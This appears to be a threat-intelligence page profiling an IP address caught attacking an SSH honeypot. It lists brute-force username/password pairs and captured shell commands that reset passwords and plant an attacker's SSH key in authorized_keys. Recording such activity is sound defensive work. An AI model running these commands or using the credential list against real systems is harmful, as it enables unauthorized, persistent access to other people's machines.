⚠TROYANOSYVIRUS
Active Threat • HIGH

23.92.27.156

Country of Origin🇺🇸 United States
First Detection1/19/2026
Last Activity1/21/2026
ISPAkamai Connected Cloud
🎯
11.918
Total Attacks
🔌
1
Ports
📡
1
Attack Types
🦠
7
Malware

Geolocation

Country
🇺🇸 United States
City
Fremont
ASN
AS63949
ISP
Akamai Connected Cloud

Attack Types

cowrie

Attacked Ports

22

Associated Malware

cd457f0cb5002567f825...→3c4bae8d52ee995f3a2d...→5ccce3b8e2706fe553e3...→212e4331b08f001d7303...→7980936e2aa9e23284e8...→

Attempted Credentials

🔐root/123456
4x
🔐root/root
4x
🔐root/root123
4x
🔐root/112233
2x
🔐elsa/elsa
2x
🔐henry/henry
2x
🔐root/Abc12345
2x
🔐root/!qaz@wsx
2x
🔐mia/mia
2x
🔐matrix/matrix
2x
🔐root/1qw23e
2x
🔐linuxuser/123456
2x
🔐root/qwertyASDFGHzxcvbn
2x
🔐root/131313
2x
🔐root/1q2w3e4r5t6y7u8i9o0p
2x

Executed Commands

$if [ [ ! -d ${HOME}/.ssh ] ]7x
$nproc7x
$uname -m7x
$then7x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "nJalsQFm\nnJalsQFm" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPk1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "ZqBV6AJz\nZqBV6AJz" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPk1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "avery\nynnhansG\nynnhansG" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCff1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "anthony\nfTJIEOGo\nfTJIEOGo" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQC1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "uv4zTGFn\nuv4zTGFn" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPk1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "123456\npVo21XZx\npVo21XZx" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCf1x

Risk Assessment

60
/100
LowMediumHighCritical